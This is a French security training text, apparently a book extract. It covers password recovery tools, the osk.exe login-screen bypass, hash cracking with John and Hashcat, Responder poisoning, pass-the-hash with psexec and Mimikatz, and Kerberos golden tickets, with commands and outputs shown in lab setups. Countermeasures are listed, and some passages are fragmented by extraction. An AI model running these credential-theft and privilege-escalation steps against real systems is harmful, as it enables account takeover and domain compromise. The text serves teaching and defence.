Les logs sont les fichiers journaux des différents services s’exécutant sur le système. Ils sont très
utiles pour régler des problèmes lorsqu’un service refuse de se lancer, mais aussi pour constater les
attaques comme un grand nombre d’essais infructueux pour se connecter en tant qu’administrateur.
Sous Windows, ils se trouvent dans l’Observateur d’événements, situé dans les Outils
d’administration ou dans le gestionnaire de l’ordinateur, et sont classés par catégories et par niveaux
d’importance.
Restrict
ed
Les journaux d’événements sous Windows
Un attaquant cherchera toujours à effacer ses traces. Des fichiers vides doivent donc vous sembler
suspects.
Mettre à jour son système est indispensable. Le laps de temps entre la révélation d’une faille de
sécurité, la publication du correctif et son application est un moment critique. Il est donc sage de
s’abonner aux listes de diffusion concernant la sécurité des logiciels utilisés. Vous serez alors
informés sur les failles présentes et leurs correctifs. Et si le correctif n’est pas disponible
immédiatement, avec le descriptif de la faille, vous pourrez prendre les mesures de protection
temporaires adéquates. Les mises à jour automatiques permettent d’écourter le délai entre la
publication et l’application des correctifs, par l’automatisation du processus, surtout sur un parc
informatique. Il faut cependant veiller à ce que l’application des correctifs se soit effectuée
correctement, car automatisation n’est pas synonyme de sécurité.
Certaines applications proposent de retenir des mots de passe afin de préremplir les champs à
l’avenir. Même si le mot de passe est masqué par des étoiles ou des points, il peut parfois être
récupéré par des outils comme
BulletsPassView : http://www.nirsoft.net/utils/bullets_password_view.html
Restrict
ed
Utilisation de BulletsPassView
Il suffit de lancer le programme dont il faut récupérer le mot de passe, puis d’exécuter
BulletsPassView pour voir apparaître le mot de passe en clair dans la fenêtre de ce dernier.
Heureusement, l’application ne fonctionne pas avec les programmes qui ne sauvegardent pas (ou
plus) le mot de passe derrière les étoiles ou les points :
Asterisk Logger
C’est un petit utilitaire qui, comme son nom l’indique, permet de révéler les étoiles qui apparaissent
dans la boîte de saisie de mot de passe quand celui-ci a été enregistré par l’application. Cet utilitaire
fonctionne uniquement sous Windows XP.
BulletsPassView
Dans le même genre, BulletsPassView est le successeur de Asterisk Logger. Il fonctionne avec
davantage d’applications et supporte les OS supérieurs à Windows XP, tels que Windows 7, Vista ou
2008 en versions 32 et 64 bits.
ChromePass
Comme son nom l’indique, ChromePass autorise à visualiser les logins et mots de passe stockés par
Google Chrome et à exporter ceux-ci.
Dialupass
Cette application énumère toutes les entrées dialup/VPN sur l’ordinateur et affiche les détails de
début de transaction comme le login, le mot de passe et le domaine.
IE PassView
Restrict
ed
Permet de récupérer les mots de passe sauvegardés dans Internet Explorer et de les exporter dans
un fichier texte avec l’extension .csv.
WebBrowserPassView
Évite d’avoir à utiliser un utilitaire spécifique pour chaque navigateur car il fonctionne pour Internet
Explorer, Firefox, Google Chrome, Safari et Opera.
Mail PassView
Récupère les mots de passe de nombreux clients mail comme Outlook Express, Microsoft Outlook
2002/2003/2007/2010/2013, Windows Mail, Incredit Mail, Eudora...
WirelessKeyView
Permet de récupérer vos clés WEP et WPA sur XP, Windows Vista, Windows 7, Windows 8 et
Windows Server 2008.
OperaPassView
Récupère et décrypte le fichier de mots de passe wan.dat qu’il est possible ensuite d’exporter en
texte.
PasswordFox
Même chose pour celui-ci, il permet également de récupérer les mots de passe des autres profils
d’utilisateurs.
Récupère les mots de passe Internet Explorer, Outlook et MSN Explorer. Fonctionne sur XP.
PstPassword
Récupère le mot de passe PST (Personal Storage Table) d’Outlook, pour les versions 2000, 2003,
2007. Il fonctionne directement avec le fichier PST.
Révèle les mots de passe Microsoft Remote Desktop Connection stockés dans les fichiers .rdp.
RouterPassView
Récupère les logins et mots de passe en décryptant le fichier de configuration de notre routeur
sauvegardé sur l’ordinateur.
SniffPass
SniffPass est un petit utilitaire qui permet de récupérer les mots de passe réseau perdus en analysant
le trafic qui sort de votre carte. Il nécessite l’installation de winpcap.
VNCPassView
WirelessKeyView
Ce petit soft retrouve les clés de chiffrement (WEP/WPA) stockées sur le PC. Fonctionne sur les
versions actuelles de Windows.
Restrict
ed
Un autre utilitaire bien pratique et à la mode est LaZagne
(https://github.com/AlessandroZ/LaZagne).
LaZagne est un outil open source qui tourne sous Windows et Linux et qui permet de récupérer les
mots de passe stockés dans de nombreuses applications. Il est disponible sous la forme d’un script
Python ou en version exécutable pour Windows (standalone).
Le tableau ci-dessous reprend les programmes exploitables par LaZagne en les classant par type
(Navigateurs, Chats...) et par système d’exploitation (Windows, Linux...).
Restrict
ed
Windows Linux macOS X
BlackHawk Dissenter-Browser b.
Centbrowser IceCat
Chedot Firefox
Chromium SlimJet
Coccoc Vivaldi
Comodo IceDragon
Cyberfox
Elements Browser
Firefox
Google Chrome
Icecat
K-Meleon
Kometa
Opera
Orbitum
Sputnik
Torch
Uran
Vivaldi
Psi Psi
Skype
Postgresql Squirrel
Robomongo SQLdevelopper
Squirrel
SQLdevelopper
Jeux GalconFusion
Restrict
Kalypsomedia
ed
RogueTale
Utilisation de Hiren’s BootCD
Une fois Hiren’s BootCD démarré sur le système, ouvrez le répertoire Utilities. Ouvrez ensuite le
répertoire Security et le sous-répertoire Passwords.
Utilisez Lazesoft Password Recovery pour réinitialiser à blanc un mot de passe ou NT Password
Edit pour modifier un mot de passe.
Il suffit de choisir l’utilisateur et de cliquer sur le bouton Change password pour accéder à une
fenêtre demandant le nouveau mot de passe. Apparemment, dans les versions récentes de
Windows, seule la mise à blanc fonctionne.
Restrict
ed
c. Faille physique osk.exe
Sous Windows 10, il existe une faille relativement simple à exploiter. Elle se base sur un utilitaire de
clavier virtuel osk.exe.
Celui-ci est disponible au niveau de l’écran de connexion. Le but va être de remplacer celui-ci par le
binaire cmd.exe, ce qui permettra l’ouverture d’une console d’administration.
Il faut démarrer avec un liveCD Linux, par exemple Kali Linux. La partition Windows sera directement
montée et visible sur le bureau (xx GB volume). Si ce n’est pas le cas, utilisez l’utilitaire mount pour
monter la partition (sda2 dans l’exemple).
cd /mnt/sda2/Windows/System32
mv osk.exe osk.exe.bak
cp cmd.exe osk.exe
Cliquez sur le bouton d’ergonomie et sélectionnez le clavier virtuel, celui-ci ouvre alors une console
avec des droits système.
L’utilisateur nouvellement créé va apparaître. Il suffit de se connecter avec ce dernier pour être
administrateur du poste.
Il est possible de consulter les nombreux sites en ligne qui proposent de trouver le mot de passe
correspondant à un hash donné. Par exemple :
https://md5decrypt.net
https://hashtoolkit.com
http://cmd5.org
https://crackstation.net
Il suffit de copier le hash sur le site choisi pour obtenir le mot de passe correspondant.
Pour un hash, c’est pratique, mais pour des centaines de hashs, cela devient vite fatigant.
Restrict
ed
Il supporte en outre de nombreux algorithmes de chiffrement : MD4, LM, NTLM, MD5, MYSQL, SHA1,
CISCO7, SHA256, JUNIPER, RMD160...
ou :
Il permet donc de gagner un temps considérable si notre hash est référencé dans l’un de ces sites.
Son utilisation est très simple : il faut lui indiquer l’algorithme de hachage à utiliser, le hash (-h) ou le
fichier contenant les hashs (-f) ainsi que faire une recherche sur Internet à propos du hash si celui-ci
n’est pas craqué.
Il existe de nombreux perceurs de mots de passe capables de casser les mots de passe de divers
systèmes comme Windows et Linux. Deux des plus connus seront abordés à titre d’exemple.
John the Ripper génère des mots de passe probables et les crypte avec le même algorithme pour
trouver une concordance avec la forme cryptée contenue dans le fichier hashs.txt récupéré
précédemment. Le résultat est sauvegardé par défaut dans le fichier ~/.john/john.pot.
Sans option, John opère selon trois modes, du plus rapide au plus long :
Le mode incrémental.
Le mode simple utilise les logins utilisateurs et leur applique les règles définies dans le fichier
john.conf (https://www.openwall.com/john/doc/RULES.shtml).
Pour Windows LM :
Restrict
ed
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 16 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 9 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 23 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 11 candidates buffered for the current salt, minimum 24
needed for performance.
user123 (user)
1g 0:00:00:00 DONE 1/3 (2021-05-15 09:41) 50.00g/s 31200p/s 31200c/s
31200C/s User40..User123
Use the "--show --format=NT" options to display all of the cracked
passwords reliably
Session completed
Par défaut, John utilisera son dictionnaire par défaut qui se trouve dans
/usr/share/john/password.lst. Pour préciser un dictionnaire, la commande à lancer est très simple :
$john --wordlist="rockyou.txt" <fichier contenant les hashs>
$ john --format=nt --wordlist="rockyou.txt" hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
user123 (user)
1g 0:00:00:00 DONE (2021-05-15 09:51) 50.00g/s 19180Kp/s 19180Kc/s
19180KC/s vanessa86..uriel2
Use the "--show --format=NT" options to display all of the cracked
passwords reliably
Session completed
f. Utilisation de Hashcat
Restrict
ed
Comme pour John, l’attaque par dictionnaire est utilisée. De nombreux dictionnaires de mots de
passe comme les fameux darkc0de.lst ou rockyou.lst (https://wiki.skullsecurity.org/Passwords) sont
disponibles sur le Web.
Différentes méthodes d’utilisation sont possibles avec Hashcat (dictionnaire, force brute...), en voici
les principales :
La méthode Combination qui combine plusieurs lignes d’un dictionnaire pour en faire un mot
de passe.
La méthode Table-Lookup, qui utilise un fichier "Table Lookup" pour remplacer les lettres des
mots de passe de votre dictionnaire par d’autres. Cette méthode a rendu obsolète la
méthode Toggle Case qui consistait à remplacer les lettres des mots de votre dictionnaire par
des minuscules ou des majuscules.
La méthode par permutation, qui consiste à alterner chaque lettre de votre dictionnaire.
La méthode par force brute, qui permet de tester tous les mots de passe possibles.
La méthode d’attaque via des règles, qui est la plus compliquée des méthodes car elle
permet d’utiliser des fonctions désignées par des lettres (letter name) capables d’étendre et
de modifier des mots de passe initiaux en utilisant des opérateurs conditionnels si besoin est.
Ces règles ont été écrites pour être 100 % compatibles avec d’autres casseurs de mots de
passe comme John the Ripper et PasswordsPro.
D’autres méthodes existent (FingerPrint, Mask et Hybrid) et sont décrites en détail sur le wiki de
Hashcat (https://hashcat.net/wiki).
Syntaxe de hashcat :
Pour Windows LM :
Restrict
ed
Time.Estimated...: Sat May 15 12:03:32 2021 (0 secs)
Guess.Mask.......: ?1?2?2?2?2?2?2 [7]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 7/15 (46.67%)
Speed.#1.........: 163.0 MH/s (12.72ms) @ Accel:1024 Loops:1024 Thr:1
Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 41943040/134960504832 (0.03%)
Rejected.........: 0/41943040 (0.00%)
Restore.Point....: 0/1679616 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:19456-20480 Iteration:0-1024
Candidates.#1....: Nbueran -> iaczrin
eacb2c6a3aaa4ed476ed2741be8c7a4e:user123
...
Cette attaque est beaucoup plus rapide. Il faut donc commencer par une attaque via dictionnaire, et
si cette dernière ne donne pas de résultat concluant, passer à la technique "brute force". L’utilisation
de processeurs de la carte graphique (GPU) permet de réduire significativement le temps de calcul.
rockyou.txt
Restrict
ed
La commande hashcat-cli64.bin -h affiche l’aide en ligne détaillée.
Prenons un dictionnaire dict.txt comprenant les trois mots "cdaisi", "acissi", "2014".
cdaisicdaisi
cdaisiacissi
cdaisi2014
cdaisi
acissiacissi
...
Restrict
ed
Il est possible de nous servir de la puissance de notre carte graphique pour craquer un mot de passe.
Ainsi, NVIDIA a développé CUDA, qui est une architecture de traitement parallèle permettant de
décupler les performances de calcul du système en utilisant la puissance des processeurs graphiques
(GPU).
CUDA permet d’affecter des tâches à la carte graphique plus facilement. Les CPU actuels ne
dépassent pas les 50 gigaflops, alors que les GPU ont déjà dépassé la barre du téraflops. Le terme
"FLOPS" est un acronyme (Floating-point Operations Per Second). Le nombre de FLOPS est devenu
une mesure de la vitesse d’un système informatique. De fait, des logiciels capables d’exploiter ces
GPU font leur apparition, dans le but principalement de réduire la durée d’une opération.
Cryptohaze-Multiforcer fait partie de ceux-ci et est utilisé dans le craquage par force brute des hashs
suivants : MD5, MD5S, NTLM, MD4, SHA1, MSSQL, SHA, MD5_PS, MD5_SP, SSHA, DOUBLEMD5,
TRIPLEMD5, MD5OFSHA1, SHA1OFMD5, DUPMD5, DUPNTLM, LM.
Pour utiliser Cryptohaze-Multiforcer, il faudra télécharger d’abord CUDA pour votre distribution sur
la page officielle de NVIDIA (https://developer.nvidia.com/cuda-downloads) et lancer le script
d’installation après l’avoir rendu exécutable. Pour utiliser cette technologie, la carte devra au moins
être égale ou supérieure à la gamme des GeForce 8.
cd Cryptohaze-Linux
L’utilisation de Cryptohaze Multiforcer est très simple, le synoptique de la commande est celui-ci :
avec :
Restrict
ed
caracters : fichier comprenant les caractères à utiliser.
Exemple de commande :
output/NTLM*.grt
L’outil Responder permet de capturer les condensats LM, NTLM, NTLMv1 et NTLMv2 ainsi que le
nom de l’utilisateur et le condensat du mot de passe dans certains cas. En effet, Windows peut
envoyer automatiquement les informations d’authentification afin de réaliser une authentification
unique SSO (Single Sign-On) lorsque cela est possible.
Pour activer Responder, il suffit de le lancer en ajoutant l’interface désirée (eth0 dans notre
exemple) :
root@kali:/opt/Responder# ./Responder.py -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Restrict
ed
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
Il faut maintenant attendre qu’un utilisateur trop curieux tente de se connecter à une ressource avec
une adresse erronée depuis une machine Windows, par exemple via un navigateur web ou
l’explorateur de Windows. L’utilisateur trop curieux se verra alors proposer de rentrer son login et
son mot de passe ou pas (dans le cas de l’explorateur Windows). Ensuite, rien ne se passe pour lui et
aucun message d’erreur ne va l’alerter.
Restrict
ed
Le nom de l’utilisateur, son domaine et son condensat (ici du NTLMv2) sont capturés !
Sauvegardez le texte contenu après "NTLMv2 Hash :" dans un fichier (ici : Hash_NTLMv2.txt).
Si la machine avait proposé du NTLMv1, il aurait été possible de tenter de se connecter directement
en utilisant le condensat via l’outil winexe, soit directement en ligne de commande, soit avec des
outils intégrateurs comme smbsexec.
USER::DESKTOP-H1JLS00:1122334455667788:35d6dfa95472bb51cabf263c28de2714:
01010000000000007b995b2d264ad701ea7a1398355c05e40000000002000a0053004d0042003100
320001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d004200
3100320005000a0053004d004200310032000800300030000000000000000100000000200000d511
25aec73cc1cbec47beafc7345cb441d700091bfbbbfbf44a6ba7498869f80a001000000000000000
000000000000000000000900120063006900660073002f007400650
0730074000000000000000000:user123
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: USER::DESKTOP-H1JLS00:1122334455667788:35d6dfa95472...000000
Time.Started.....: Sun May 16 09:54:23 2021 (0 secs)
Time.Estimated...: Sun May 16 09:54:23 2021 (0 secs)
Guess.Base.......: File (/home/laurent/SAM/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1369.3 kH/s (1.25ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 385024/14344384 (2.68%)
Rejected.........: 0/385024 (0.00%)
Restore.Point....: 382976/14344384 (2.67%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: virgo1995 -> tita14
Le choix du mot de passe est trop simple, il aura fallu quelques secondes à Hashcat pour le trouver !
Afin d’empêcher l’interception du mot de passe, Microsoft a choisi de ne pas envoyer le mot de
passe sur le réseau lors de l’authentification. En simplifiant un peu, l’authentification est basée sur le
principe suivant :
Le client demande un accès à une ressource au serveur en indiquant son nom et son
domaine.
Restrict
ed
Le serveur répond en envoyant une valeur aléatoire (défi) au client.
Le serveur, qui dispose également du condensat du mot de passe du client, réalise la même
opération que le client et autorise l’accès à la ressource si les résultats sont identiques.
Donc ce n’est pas le mot de passe qui est utilisé pour l’authentification mais son condensat (hash).
Avec les versions antérieures à 1607 (anniversaire), il est possible de rejouer un hash. Autrement dit,
il n’est pas nécessaire de connaître le mot de passe d’un utilisateur pour se connecter. Il suffit de
présenter le hash de son mot de passe !
Pour faire le test avec une version supérieure, il faut au préalable effectuer les actions suivantes :
Désactiver UAC remote restrictions afin de permettre une élévation de privilèges à distance
en ajoutant la clé de type DWORD LocalAccountTokenFilterPolicy dans
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ policies\system, si
elle n’est pas présente et en définissant sa valeur à 1.
Désactiver Credential Guard afin de désactiver l’isolation de la SAM en ajoutant la clé de type
DWORD LsaCfgFlags dans HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA, si
elle n’est pas présente et en définissant sa valeur à 0.
Désactiver l’antivirus de Windows Defender, car ce dernier considère psexec comme une
menace.
sudo cd /opt/impacket
Dans la section Extraction des données d’une SAM, le hash NTLM de l’utilisateur "user" avait été
découvert par Mimikatz : e5df2c988f0d77ef35aa949be5dc95b5.
Il suffit de rejouer ! L’exemple qui suit montre comment s’authentifier avec un hash et lancer une
console CMD depuis la machine Kali vers une machine Windows 10 cible définie par son adresse IP
(192.168.1.101) afin d’afficher le contenu du répertoire c:\dump.
$ psexec.py -hashes :eacb2c6a3aaa4ed476ed2741be8c7a4e user@192.168.1.104 cmd
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020
SecureAuth Corporation
Restrict
ed
[*] Opening SVCManager on 192.168.1.104.....
[*] Creating service xRJI on 192.168.1.104.....
[*] Starting service xRJI.....
[!] Press help for extra shell commands
Microsoft Windows [version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. Tous droits réservés.
C:\WINDOWS\system32>cd /
C:\>cd dump
C:\dump>dir
Le volume dans le lecteur C n'a pas de nom.
Le numéro de série du volume est D237-3C9E
Répertoire de C:\dump
L’outil Mimikatz développé par Benjamin Delpy (alias @gentilkiwi) est capable de récupérer via son
module Sekurlsa les identifiants et mots de passe stockés par le mécanisme d’authentification SSO
(Single Sign-On) de Windows utilisé par le processus LSASS. LSASS utilise des SSP (Security Service
Provider) pour établir les communications. Le schéma ci-dessous représente une vue simplifiée du
LSASS et des SSP.
Restrict
ed
Vue simplifiée du LSASS et des SSP
"Kerberos" avec le KDC (Key Distribution Center) d’un domaine Active Directory ;
Secure Channel (SCHANNEL) avec SSL, TLS ou PCT (Private Communications Transport) ;
RDP (Remote Desktop Protocol) avec NLA (Network Level Authentication : tskpg.dll) en
établissant un tunnel TLS lors de l’authentification (CRED) ;
entre deux équipements via PKU2U (Public Key User to User) dans un groupe de travail
familial (PKU2U).
Restrict
ed
Le module Sekurlsa de Mimikatz permet de récupérer entre autres les mots de passe du gestionnaire
d’identification de Windows (LSASS), y compris :
les identifiants de connexions Windows Live (Remote Desktop) via " livessp" ;
La version actuelle de Mimikatz opère sur des copies des clés de chiffrements présentes en mémoire
et non directement dans la mémoire afin de ne pas être détectée par les antivirus actuels.
Pour récupérer les LSA, Mimikatz requiert un niveau administrateur et un accès au mode debug.
Pour récupérer les mots de passe en clair et les condensats, lancez le programme Mimikatz en mode
privilégié (depuis une console administrateur) et tapez la commande suivante :
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 312361 (00000000:0004c429)
Session : Interactive from 1
User Name : Administrator
Domain : FORMATION
Logon Server : DC-01
Logon Time : 07-05-17 18:15:24
SID : S-1-5-21-1646212111-3364853876-4038436236-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : FORMATION
* NTLM : e5df2c988f0d77ef35aa949be5dc95b5
* SHA1 : 007d36e77b0fdc583954cbd7b1f2a1d508511c90
* DPAPI : 40a23fe4ee8b341eb37da434c6d769d5
tspkg :
wdigest :
* Username : Administrator
* Domain : FORMATION
* Password : (null)
kerberos :
* Username : Administrator
* Domain : FORMATION.LOCAL
* Password : (null)
ssp :
credman :
Mimikatz a récupéré les SID, les noms d’utilisateurs et les domaines, mais pas les mots de passe en
clair. En effet, depuis Windows 8.1, LSASS ne stocke plus de mots de passe en clair dans la mémoire.
Mais il est possible d’accéder à des ressources distantes en utilisant directement les condensats
trouvés (attaque Pass-the-Hash) :
mimikatz #sekurlsa::pth /user:administrator /domain:FORMATION
Restrict
ed
/ntlm:e5df2c988f0d77ef35aa949be5dc95b5 /run:cmd
Une nouvelle fenêtre apparaît disposant des droits de l’administrateur du domaine. Il est possible de
le vérifier en se connectant au partage administratif C$ du contrôleur de domaine :
C:\Windows\system32> net use y: \\192.168.0.11\c$
La commande s'est terminée correctement.
C:\Windows\system32> y:
Y:\> dir
Le volume dans le lecteur Y n'a pas de nom.
Le numéro de série du volume est 7843-0152
Répertoire de Y:\
22-08-13 17:52 <DIR> PerfLogs
12-07-16 16:24 <DIR> Program Files
22-08-13 17:39 <DIR> Program Files (x86)
24-04-17 11:09 <DIR> Users
02-05-17 17:48 <DIR> Windows
0 fichier(s) 0 octets
5 Rép(s) 52.326.912.000 octets libres
Kerberos, depuis Windows 2000, repose sur des standards existants (RFC 1510 et 1964) et réalise une
authentification mutuelle entre le client et le serveur. Tout comme le chien Cerbère avec ses trois
têtes, Kerberos utilise trois composants pour fonctionner : un client, un serveur et une autorité
approuvée (le KDC, Key Distribution Center).
Le KDC gère une base de données stockant toutes les informations de compte des entités du
domaine. Chaque entité dispose de sa propre clé secrète partagée avec le KDC. Dans le cas des
comptes utilisateur, c’est le mot de passe qui permet d’obtenir cette clé (symétrique).
Le rôle de KDC est tenu par les DC, ainsi que les serveurs exécutant un service KDC.
Le KDC dispose de son propre compte nommé krbtgt (standard à la RFC 1510) généré lors de la
création du domaine.
Ce compte, situé dans le conteneur users de l’Active Directory, ne peut être ni supprimé, ni
renommé, ni activé.
Le même compte est utilisé par tous les KDC du domaine. Le mot de passe de ce compte est généré
automatiquement. Dans un domaine Windows, les systèmes font donc confiance à un ticket
Kerberos signé par le condensat d’un TGT (Ticket Granting Ticket).
Si un attaquant réussit à collecter le hash NTLM du compte krbtgt, Mimikatz pourra générer des
"golden tickets" pour élever les privilèges de n’importe quelle session de n’importe quel système.
Le laboratoire suivant suppose que l’attaquant dispose d’un accès à un contrôleur de domaine et à
une machine dans le domaine dont l’antivirus a été désactivé.
Une fois que l’attaquant acquiert des privilèges d’administration sur un contrôleur de domaine,
Mimikatz peut être utilisé pour obtenir le condensat NTLM du compte krbtgt en utilisant lsadump :
mimikatz # privilege::debug
Privilege '20' OK
Restrict
ed
mimikatz #lsadump::lsa /inject /name:krbtgt
ERROR kuhl_m_lsadump_lsa_getHandle ; OpenProcess (0x00000005)
Domain : FORMATION / S-1-5-21-1646212111-3364853876-4038436236
RID : 000001f6 (502)
User : krbtgt
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : FORMATION / S-1-5-21-1646212111-3364853876-4038436236
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 2fde3fbaa126de706b19d521e6212450
...
Pour montrer le fonctionnement de l’attaque, il faut retourner sur une machine Windows du
domaine avec un utilisateur n’ayant pas les droits d’administration.
un nom d’utilisateur ;
Les SID (Security Identifier) sont des identifiants uniques alphanumériques représentés sous la
forme :
SID = S1-N1-N2-N3-ID
Restrict
ed
Il est possible avec ces quatre données de générer des autorisations d’accès même depuis une
machine qui n’est pas membre du domaine !
La commande klist permet de connaître la liste des tickets Kerberos utilisés par un utilisateur :
C:\Mimikatz>klist
LogonId est 0:0x296640
Tickets mis en cache : (2)
#0> Client : laurent @ FORMATION.LOCAL
Serveur : krbtgt/FORMATION.LOCAL @ FORMATION.LOCAL
Type de chiffrement KerbTicket : AES-256-CTS-HMAC-SHA1-96
Indicateurs de tickets 0x40e10000 -> forwardable renewable
initial pre_authent name_canonicalize
Heure de démarrage : 5/7/2017 20:55:55 (Local)
Heure de fin : 5/8/2017 6:55:55 (Local)
Heure de renouvellement : 5/14/2017 20:55:55 (Local)
Type de clé de session : AES-256-CTS-HMAC-SHA1-96
Indicateurs de cache : 0x1 -> PRIMARY
KDC appelé : DC-01.formation.local
...
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Pour utiliser ce "golden ticket", exécutez Mimikatz à partir d’une invite de commandes ayant les
droits d’administration et entrez la commande kerberos::ptt (Pass-The-Ticket) :
mimikatz #kerberos::ptt administrator.tck
Restrict
ed
* File: 'administrator.tck': OK
mimikatz # exit
Bye!
C:\Mimikatz>klist
LogonId est 0:0x29661a
Tickets mis en cache : (2)
#0> Client : administrator @ formation.local
Serveur : krbtgt/formation.local @ formation.local
Type de chiffrement KerbTicket : RSADSI RC4-HMAC(NT)
Indicateurs de tickets 0x40e00000 -> forwardable renewable
initial pre_authent
Heure de démarrage : 5/7/2017 21:16:34 (Local)
Heure de fin : 5/5/2027 21:16:34 (Local)
Heure de renouvellement : 5/5/2027 21:16:34 (Local)
Type de clé de session : RSADSI RC4-HMAC(NT)
Indicateurs de cache : 0x1 -> PRIMARY
KDC appelé :
...
Ceci montre que le golden ticket permet effectivement l’accès au partage administratif.
Le ticket est valide dix ans et peut être utilisé avec la version 6 du noyau NT.
Les contre-mesures :
Supprimer le privilège "debug programs" aux administrateurs locaux via l’éditeur de politique
de stratégie de groupe (GPO) (Configuration de l’ordinateur - Paramètres Windows -
Paramètres de sécurité - Stratégies locales - Attributions des droits utilisateur - Déboguer
les programmes).
Éviter d’associer des comptes locaux à des services ou applications. Opter pour des comptes
MSA (Managed Service Account) ou gMSA (Group Managed Service Account).
Activer l’UAC (User Account Control) sur l’ensemble des postes de travail et des serveurs.
Pour les versions de Windows supérieures à 8 dans un domaine Windows 2012 R2 minimum,
utiliser la fonctionnalité "Protected Users group" pour protéger les comptes sensibles
(chiffrement fort et ticket Kerbéros d’une durée de vie de 4 heures uniquement sans mise en
cache).
Utiliser des comptes distincts pour le travail au quotidien, l’administration des postes de
travail et des serveurs.
Restrict
ed
Utiliser des stations de relais (jump station) pour gérer les serveurs à distance.
Activer le pare-feu.
Désactiver le partage de fichier (port 445) sur les postes non serveur.
Pour les versions de Windows inférieures à 8.1, désactiver le stockage des mots de passe en
clair en mémoire en initialisant la clé de registre suivante (DWORD) à 0 (KB2871997) :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ SecurityProviders\WDigest\
UseLogonCredential.
Changer temporairement les mots de passe des utilisateurs existants par un non utilisé, car le
dernier condensat LM restera dans la SAM.
Définir les mots de passe des utilisateurs existants par un non utilisé.
S’il existe un risque que le compte krbtgt soit corrompu, changer son mot de passe.
Pour les versions de Windows 8.1 et 2012 R2, activer le mode protégé pour le service LSASS
en initialisant la clé de registre suivante (DWORD) à 1 : HKEY_LOCAL_ MACHINE\SYSTEM\
CurrentControlSet\Control\lsa\RunAsPPL.
Protéger le processus LSASS contre toute tentative d’accès par un processus non signé en
activant le mode "LSA protection" si la machine dispose d’un BIOS UEFI.
Monitorer les événements liés au chargement de SSP non signés en initialisant la clé de
registre suivante (DWORD) à 8 : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\ CurrentVersion\Image\File Execution Options\LSASS.exe\AuditLevel
Il faut bien évidemment contrôler régulièrement que personne ne modifie ces informations.
L’application systématique d’une stratégie de groupe (GPO) peut être une solution. Pour plus
d’informations, n’hésitez pas à lire les articles suivants :
Hackndo : https://beta.hackndo.com/
Restrict
ed
Restrict
ed
Linux
1. Gestion des utilisateurs
Les utilisateurs sont enregistrés dans le fichier /etc/passwd et leur mot de passe dans le
fichier /etc/shadow. Historiquement, il n’y avait que le fichier passwd qui contenait les mots de
passe. Mais étant un simple fichier texte, les empreintes (hashs) étaient donc lisibles par tous, le
déchiffrage des mots de passe était trivial. Le fichier shadow a donc été créé. Il s’agit d’une copie de
passwd, incluant les mots de passe.
Seul root possède les droits de modification et de lecture sur ce fichier. De plus, il est le seul compte
qui peut agir sur les autres comptes du système.
Ces fichiers peuvent directement être modifiés avec un éditeur de texte. Cependant, des outils
simplifient la tâche.
Suppression de l’utilisateur "Laurent" ainsi que des fichiers contenus dans son répertoire
personnel :
userdel -r Laurent
Pour la syntaxe, se reporter au manuel des outils : man useradd, man usermod, man userdel depuis
un terminal.
Les groupes sont gérés dans le fichier texte /etc/group et là aussi des outils de gestion sont
disponibles :
Restrict
ed
Sous GNU/Linux, tout est fichier. Un périphérique et un dossier se manipulent alors comme tels. Un
fichier possède un propriétaire et un groupe d’appartenance. Le propriétaire est affecté par la
commande chown (change owner), le groupe d’appartenance par chgrp (change group).
Les autres permissions se règlent ensuite avec la commande chmod. Il faut définir les permissions de
trois entités : le propriétaire u, le groupe g et les autres o. "Les autres" correspond à tout utilisateur
n’étant ni le propriétaire ni membre du groupe. Chaque entité peut avoir le droit de lecturer,
d’écriture w et d’exécution/parcours x. Un droit s’ajoute avec + et se retire avec -.
Les modifications sont visibles dans les colonnes 1 (droits), 3 (utilisateur) et 4 (groupe) de la sortie
d’un ls -l.
Restrict
ed
4. Les mots de passe
Sous GNU/Linux aussi, la gestion des mots de passe a évolué avec le temps.
Au départ, les mots de passe, d’une longueur maximum de 8 caractères, étaient chiffrés 25 fois avec
DES, les 25 passages permettant de ralentir les attaques éventuelles. Un sel (variable aléatoire) de 12
bits était ajouté afin de rendre unique l’information chiffrée dans le fichier /etc/passwd. DES est un
